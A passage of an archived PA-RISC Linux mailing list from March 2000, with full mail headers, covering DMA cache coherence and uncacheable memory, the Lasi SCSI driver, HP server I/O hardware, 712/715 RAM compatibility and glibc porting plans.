	for parisc-linux@thepuffingroup.com; Sun, 5 Mar 2000 19:48:40 +0100
Resent-Message-Id: <200003051848.TAA09192@inwestnet.de>
X-Mailer: Mutt 1.0i
In-Reply-To: <200003031910.LAA19111@lucy.cup.hp.com>; from jerry_huck@hp.com on Fri, Mar 03, 2000 at 12:18:22PM -0700
Resent-From: prumpf@abacus.local
Resent-Date: Sun, 5 Mar 2000 19:47:39 +0100
Resent-To: parisc-linux@thepuffingroup.com
Xref: news.gmane.org gmane.linux.ports.parisc:6973

> While the PA-RISC processor architecture supports the notion of a
> non-cacheable page, most HP memory systems do not - certainly not the
> most recent memory systems.

Can you give us a concrete list of broken memory systems ?

> If you set the U-bit on a main memory page and then reference the page,
> the processor will emit a sub-cacheline transaction and the memory system
> will do something bad (probably HPMC).

So there is a sub-cacheline transaction on Runway but current memory
controllers don't implement it ?

> So don't ever get in the situation where you need uncacheable main memory.

uncacheable main memory is the only sane way to deal with cache-incoherent
DMA - macros to flush the cache are both slower and harder to add to drivers
written with the assumption that dma is cache-coherent.

	Philipp Rumpf


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Sun, 5 Mar 2000 22:05:54 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20000305220554.A2194@alpha.franken.de>
References: <006601bf8487$e057e010$a94abc0f@hungary.hp.com> <200003031910.LAA19111@lucy.cup.hp.com> <20000305194652.A9157@abacus.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618817 30998 80.91.229.3 (22 Nov 2014 01:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sun Mar  5 15:09:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA11008
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 15:09:36 -0700
Original-Received: (qmail 18392 invoked by uid 15267); 5 Mar 2000 21:10:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18379 invoked from network); 5 Mar 2000 21:10:41 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 21:10:41 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12RiIS-0027WnC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sun, 5 Mar 2000 22:10:40 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12RiIG-002OsyC; Sun, 5 Mar 100 22:10 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id WAA02235;
	Sun, 5 Mar 2000 22:05:54 +0100
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000305194652.A9157@abacus.local>; from Philipp Rumpf on Sun, Mar 05, 2000 at 07:46:52PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6974

On Sun, Mar 05, 2000 at 07:46:52PM +0100, Philipp Rumpf wrote:
> uncacheable main memory is the only sane way to deal with cache-incoherent
> DMA - macros to flush the cache are both slower and harder to add to drivers
> written with the assumption that dma is cache-coherent.

I can't say how things are for PARISC, but in the MIPS world it's usually
better to use cached memory/flush caches than doing uncached accesses.
And adding cache flushes to a driver isn't that big task, if you know
the hardware (been there, done that).

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Sun, 05 Mar 2000 18:01:17 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <38C2E73D.A0165287@storm.ca>
References: <20000301010645.Y30912@neep.com.au> <20000229122439.F9944@thepuffingroup.com> <38BC9E14.4ECB899B@storm.ca> <38BCA09A.9ABADBD0@cln.etc.bc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618817 30999 80.91.229.3 (22 Nov 2014 01:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:37 +0000 (UTC)
Cc: Steve Shack <sshack@cln.etc.bc.ca>, tkorycki@sprint.ca,
        jawildman@cfanet.com
To: parisc-linux@thepuffingroup.com
Original-X-From: sandy@storm.ca  Sun Mar  5 16:58:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA12157
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 16:58:58 -0700
Original-Received: (qmail 26364 invoked by uid 15267); 5 Mar 2000 23:00:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26305 invoked from network); 5 Mar 2000 23:00:02 -0000
Original-Received: from storm.ca (HELO mail.storm.ca) (209.87.239.69)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 23:00:02 -0000
Original-Received: from storm.ca (ppp014.ottawa.storm.ca [209.87.227.14])
	by mail.storm.ca (8.8.8+Sun/8.8.8) with ESMTP id RAA09590;
	Sun, 5 Mar 2000 17:59:29 -0500 (EST)
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:6975

Steve Shack wrote:
> 
> Sandy Harris wrote:
> 
> > I don't know these servers, but I've a friend who deals machines of about
> > that generation, buying them in truckload lots and reselling. Recent
> > prices from him, in Canadian $:
> >
> >          RAM    disk    monitor quantity
> > 712/60   128    no      no      16      $ 50 apiece.
> > 715/100  256    no      19"     1       $200
> 
> If he can find me a 712/100 with 128+megs ram i'd buy that in a
> second. Care to pass that on to him?

I bought the only 100 I've seen so far and have already told him I'll
take all the 712/100s he gets. They seem to be mostly 60s. 712s take
128 maximum RAM. 715s can go to 256 and have room for more drives. My
guess is a 715/100 might suit you.

I waited to respond to this, and the other messages asking for details,
until I had his permission to post his email address:

jan@magma.ca

Location is a small town outside Ottawa. He also has lots of Suns, if
anyone here cares :-)


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Barrie Spence <baz@calvin.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server?
Date: Sun, 5 Mar 2000 23:24:50 +0000 (GMT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200003052324.XAA01752@calvin.demon.co.uk>
References: <38C2E73D.A0165287@storm.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618817 31003 80.91.229.3 (22 Nov 2014 01:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, sshack@cln.etc.bc.ca, tkorycki@sprint.ca,
        jawildman@cfanet.com
To: sandy@storm.ca
Original-X-From: baz@calvin.demon.co.uk  Sun Mar  5 17:24:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA12346
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 17:24:13 -0700
Original-Received: (qmail 3350 invoked by uid 15267); 5 Mar 2000 23:25:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3343 invoked from network); 5 Mar 2000 23:25:20 -0000
Original-Received: from anchor-post-32.mail.demon.net (194.217.242.90)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 23:25:20 -0000
Original-Received: from calvin.demon.co.uk ([158.152.8.145])
	by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1)
	id 12RkOl-00098W-0W; Sun, 5 Mar 2000 23:25:19 +0000
Original-Received: (from baz@localhost)
	by calvin.demon.co.uk (8.9.3/8.9.3) id XAA01752;
	Sun, 5 Mar 2000 23:24:51 GMT
In-Reply-To: <38C2E73D.A0165287@storm.ca>
X-Mailer: Ishmail 1.3.3-990123-linux <http://www.ishmail.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6976

Sandy Harris <sandy@storm.ca> wrote:
> 712s take
> 128 maximum RAM. 715s can go to 256 and have room for more drives. My
> guess is a 715/100 might suit you.

A 712/100 should have 6 RAM slots giving up to 192Mb.

Barrie


--
Barrie Spence			Sanity Clause? There is no Sanity Clause
Home: b.spence@ieee.org		Telephone +44 1506 442304
Play: barrie_spence@agilent.com


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server
Date: Sun, 5 Mar 2000 20:22:33 -0600 (CST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10003052021060.16172-100000@jesse.crash.lan>
References: <200003052324.XAA01752@calvin.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618818 31004 80.91.229.3 (22 Nov 2014 01:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Sun Mar  5 20:18:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA13386
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 20:18:40 -0700
Original-Received: (qmail 2190 invoked by uid 15267); 6 Mar 2000 02:19:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2175 invoked from network); 6 Mar 2000 02:19:43 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.130.4)
  by mailserv2.iuinc.com with SMTP; 6 Mar 2000 02:19:43 -0000
Original-Received: from localhost (IDENT:catfish@localhost.localdomain [127.0.0.1])
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id UAA16179
	for <parisc-linux@thepuffingroup.com>; Sun, 5 Mar 2000 20:22:33 -0600
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <200003052324.XAA01752@calvin.demon.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:6977



On Sun, 5 Mar 2000, Barrie Spence wrote:

> Sandy Harris <sandy@storm.ca> wrote:
> > 712s take
> > 128 maximum RAM. 715s can go to 256 and have room for more drives. My
> > guess is a 715/100 might suit you.
> 
> A 712/100 should have 6 RAM slots giving up to 192Mb.
> 

 Exactly what kind of Ram does the 715 series use, I tried some in a PC
and it doesn't work. I get about 48 megs extra from old boxes in 8 meg
simms. 

Terry
 


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: uncacheable memory
Date: Sun, 05 Mar 2000 22:26:55 -0800
Lines: 66
Approved: news@gmane.org
Message-ID: <200003060626.WAA04127@milano.cup.hp.com>
References: <20000305092901.E9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618818 31011 80.91.229.3 (22 Nov 2014 01:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:38 +0000 (UTC)
Cc: huck@cup.hp.com, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Mar  6 00:24:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA14789
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Mar 2000 00:24:12 -0700
Original-Received: (qmail 23220 invoked by uid 15267); 6 Mar 2000 06:25:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23207 invoked from network); 6 Mar 2000 06:25:19 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Mar 2000 06:25:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 8B0E25F1; Sun,  5 Mar 2000 22:25:18 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id WAA04127; Sun, 5 Mar 2000 22:26:55 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 05 Mar 2000 09:29:01 PST."
             <20000305092901.E9944@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6978

On Sat, Mar 04, 2000 at 09:49:49PM -0800, Grant Grundler wrote:
> HP systems have three I/O MMU's which are I/O coherent: U2/Uturn,
> Astro/Ike, and Epic/SAGA.  AFAIK, all systems using one on them have
> the processor(s) connected to a "Runway" bus.  This limits what
> processor model those systems can have: PA-7200, -8000, -8200, or -8500.
> 
> (Caveats:
>  - T-class has something similar to U2 which is NOT I/O coherent

Apologies. I should have been clearer about several things.

"T-class" should have been "T600".
I don't think T5xx series have any sort of I/O TLB in them.

willy@thepuffingroup.com wrote:
> According to the hwdb, the T600 has two `Java BC Summit Port (IOA)'.
> And you're the only one in possession of a T-class :-).

Actually, I'm neither in possession of one nor the only person who
might be. I couldn't believe it, but AFAIK HP sold thousands of them.
(The ioscan output is left over from my previous job.)
FTW, the URL is still valid but no longer linked from the
main "servers" web page:

	http://www.unixsolutions.hp.com/products/servers/tclass/

I suggest interested parties "snarf" what they can from those web pages
before the pages go away....375kg...sheesh.

> All the devices in the T600 seem to be special devices so the
> drivers would have to be freshly written anyway.  I don't see
> a PCI adapter in the T-class, can one be fitted?

First, T5xx only supports HP-PB devices. Basically same devices
as "Nova" (EFGHI-) class boxes and K-class. However, like K-class,
T600 also supports GSC cards in a "daughter board" form factor.
(but the "header" sheet metal is slightly different.... *SIGH*)

And HP does make/ship card-mode Dino 100BT cards for both T600
and K-class. Making card-mode Dino work on T600 is quite impossible
without looking at HP-UX source (or reverse engineering the binary).
I helped do it once. Java really doesn't like to play with Dino.

> I assume Summit is the name of a bus, like Runway only different?

Yes. AFIAK, Summit is the "memory" bus for T-5xx series.
On T600, same bus protocol but it's twice as "wide".


Someone else asked what's wrong with the memory controllers:

AFAIK, subcacheline accesses are a different type of transaction 
which many HP memory controllers don't *need* to support. I'm guessing
systems where I/O devices sit on the same bus as the memory controller
(eg 712, PA-7100LC), the memory controller supports all types of
transactions in order for DMA to work. So if the U-bit is also
supported by the processor, it'll all work.


hope this is better,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank.benke@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server
Date: Mon, 06 Mar 2000 12:47:41 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <38C39ADD.92F19136@web.de>
References: <Pine.LNX.4.10.10003052021060.16172-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618818 31013 80.91.229.3 (22 Nov 2014 01:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T. Martin" <catfish@alltel.net>
Original-X-From: frank.benke@web.de  Mon Mar  6 10:43:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA18406
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Mar 2000 10:43:43 -0700
Original-Received: (qmail 2939 invoked by uid 15267); 6 Mar 2000 16:44:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2932 invoked from network); 6 Mar 2000 16:44:47 -0000
Original-Received: from mx02.uni-tuebingen.de (134.2.3.12)
  by mailserv2.iuinc.com with SMTP; 6 Mar 2000 16:44:47 -0000
Original-Received: from web.de (zxmbk01.extern.uni-tuebingen.de [172.16.198.161])
	by mx02.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id RAA25774;
	Mon, 6 Mar 2000 17:44:39 +0100
X-Mailer: Mozilla 4.7 [de] (Win98; I)
X-Accept-Language: de
Xref: news.gmane.org gmane.linux.ports.parisc:6979



"T. Martin" schrieb:

> On Sun, 5 Mar 2000, Barrie Spence wrote:
>
> > Sandy Harris <sandy@storm.ca> wrote:
> > > 712s take
> > > 128 maximum RAM. 715s can go to 256 and have room for more drives. My
> > > guess is a 715/100 might suit you.
> >
> > A 712/100 should have 6 RAM slots giving up to 192Mb.
> >
>
>  Exactly what kind of Ram does the 715 series use, I tried some in a PC
> and it doesn't work. I get about 48 megs extra from old boxes in 8 meg
> simms.
>
> Terry
>

afaik: the 715 have special memories, which look like ps2 but aren't. i'm not
even sure if the 712 and 715 use the same simms. you should definitely look for
dedicated 715 memories. i have the same problem with 735s, which use their own
memory design.

regards frank

>
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.




From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Barrie Spence <baz@calvin.demon.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Value of an old K-class server
Date: Tue, 7 Mar 2000 00:00:53 +0000 (GMT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200003070000.AAA03329@calvin.demon.co.uk>
References: <38C39ADD.92F19136@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618819 31015 80.91.229.3 (22 Nov 2014 01:13:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:39 +0000 (UTC)
Cc: catfish@alltel.net, parisc-linux@thepuffingroup.com
To: frank.benke@web.de
Original-X-From: baz@calvin.demon.co.uk  Mon Mar  6 18:00:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA22099
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Mar 2000 18:00:24 -0700
Original-Received: (qmail 13963 invoked by uid 15267); 7 Mar 2000 00:01:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13929 invoked from network); 7 Mar 2000 00:01:30 -0000
Original-Received: from anchor-post-31.mail.demon.net (194.217.242.89)
  by mailserv2.iuinc.com with SMTP; 7 Mar 2000 00:01:30 -0000
Original-Received: from calvin.demon.co.uk ([158.152.8.145])
	by anchor-post-31.mail.demon.net with esmtp (Exim 2.12 #1)
	id 12S7RI-0003kh-0V; Tue, 7 Mar 2000 00:01:28 +0000
Original-Received: (from baz@localhost)
	by calvin.demon.co.uk (8.9.3/8.9.3) id AAA03329;
	Tue, 7 Mar 2000 00:00:53 GMT
In-Reply-To: <38C39ADD.92F19136@web.de>
X-Mailer: Ishmail 1.3.3-990123-linux <http://www.ishmail.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6980

Frank Benke <frank.benke@web.de> wrote:
> 
> afaik: the 715 have special memories, which look like ps2 but aren't.

definitely

> i'm not even sure if the 712 and 715 use the same simms. you should
> definitely look for dedicated 715 memories.

712/715 RAM is compatible, though I believe that the 712s and the
newer 715s used slightly faster specs than the original 715/{33,55,75}s.

> i have the same problem with 735s, which use their own
> memory design.

The 735 memory is the same as 720/730/750/755 if it helps, but note
that the 720/730 machines can't use the higher density modules
introduced with the 735/755 machines. 

Barrie


--
Barrie Spence			Sanity Clause? There is no Sanity Clause
Home: b.spence@ieee.org		Telephone +44 1506 442304
Play: barrie_spence@agilent.com


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] latest glibc checked in
Date: 06 Mar 2000 19:10:35 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <m366uzqxuc.fsf@localhost.localnet>
References: <20000304233420.D9944@thepuffingroup.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416618819 31018 80.91.229.3 (22 Nov 2014 01:13:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: drepper@cygnus.com  Mon Mar  6 21:14:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA23647
	for <parisc-linux@puffin.external.hp.com>; Mon, 6 Mar 2000 21:14:33 -0700
Original-Received: (qmail 21006 invoked by uid 15267); 7 Mar 2000 03:15:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20995 invoked from network); 7 Mar 2000 03:15:41 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 7 Mar 2000 03:15:41 -0000
Original-Received: from otr.mynet (dialin-sv-00.cygnus.com [205.180.231.50])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id TAA19469;
	Mon, 6 Mar 2000 19:15:20 -0800 (PST)
Original-Received: (from drepper@localhost) by otr.mynet (8.9.3/8.9.3/ud-990718) id TAA11754; Mon, 6 Mar 2000 19:10:35 -0800
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: willy@thepuffingroup.com's message of "Sat, 4 Mar 2000 23:34:20 -0500"
Original-Lines: 13
X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Big Bend"
Xref: news.gmane.org gmane.linux.ports.parisc:6981

willy@thepuffingroup.com writes:

> Just so I know (not so I can hold your feet to the fire), who's interested
> in doing toolchain work, and who's interested in doing glibc work?

I will do some of the glibc work if I'm finally getting some reasoably
stable toolchain and the appropriate headers for cross-compilation
(from HPUX).

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jerry Huck <jerry_huck@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Tue, 7 Mar 2000 11:33:09 -0800 (PST)
Lines: 46
Approved: news@gmane.org
Message-ID: <200003071933.LAA02811@lucy.cup.hp.com>
References: <20000305194652.A9157@abacus.local>
Reply-To: huck@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618819 31023 80.91.229.3 (22 Nov 2014 01:13:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: prumpf@inwestnet.de
Original-X-From: huck@cup.hp.com  Tue Mar  7 13:32:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA31806
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Mar 2000 13:32:34 -0700
Original-Received: (qmail 21679 invoked by uid 15267); 7 Mar 2000 19:33:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21672 invoked from network); 7 Mar 2000 19:33:40 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 7 Mar 2000 19:33:40 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by atlrel2.hp.com (Postfix) with ESMTP id 04D38451
	for <parisc-linux@thepuffingroup.com>; Tue,  7 Mar 2000 14:34:26 -0500 (EST)
Original-Received: (from huck@localhost) by lucy.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id LAA02811; Tue, 7 Mar 2000 11:33:10 -0800 (PST)
In-Reply-To: <20000305194652.A9157@abacus.local> from Philipp Rumpf at Mar "5," 2000 "07:46:52" pm
X-Mailer: ELM [$Revision: 1.17.214.3 $]
Original-Sender: huck@cup.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:6982

> Date: Sun, 5 Mar 2000 19:46:52 +0100
> From: Philipp Rumpf <prumpf@inwestnet.de>
> To: huck@cup.hp.com
> Subject: Re: [parisc-linux] lasi scsi driver

> > While the PA-RISC processor architecture supports the notion of a
> > non-cacheable page, most HP memory systems do not - certainly not the
> > most recent memory systems.
> 
> Can you give us a concrete list of broken memory systems ?

Unfortunately not, since these memory systems weren't broken wrt
the architecture, I didn't keep track of this feature.  We really need
some interesting combination of memory system and I/O adapter coherence
capability.  Grant has posted much more on this than I know.

> > If you set the U-bit on a main memory page and then reference the page,
> > the processor will emit a sub-cacheline transaction and the memory system
> > will do something bad (probably HPMC).
> 
> So there is a sub-cacheline transaction on Runway but current memory
> controllers don't implement it ?

Yes.  The bus interface doesn't know the distinction between I/O accesses
and main memory.  The processor relies on "F" extension and/or the U-bit
to sort out how to treat an address dereference.  Sub-cacheline transactions
are the normal memory-mapped I/O transactions.

> > So don't ever get in the situation where you need uncacheable main memory.
> 
> uncacheable main memory is the only sane way to deal with cache-incoherent
> DMA - macros to flush the cache are both slower and harder to add to drivers
> written with the assumption that dma is cache-coherent.

The architecture was not designed to import drivers written to a
cache-coherent model.  This is not unique to PA-RISC.  Even IA-32 had
a little trouble on the first write-back caches in the 486.  While it
is not simple to convert all drivers, many drivers have a fairly clean
design that make it manageable to add the appropriate flush calls.  Some
drivers have byte granular interactions that make them impossible to
re-work.

Sorry I couldn't be more helpful with specific characteristics.

Jerry


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Wed, 8 Mar 2000 00:45:43 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <20000308004543.A5281@abacus.local>
References: <20000305194652.A9157@abacus.local> <200003071933.LAA02811@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618820 31026 80.91.229.3 (22 Nov 2014 01:13:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: huck@cup.hp.com
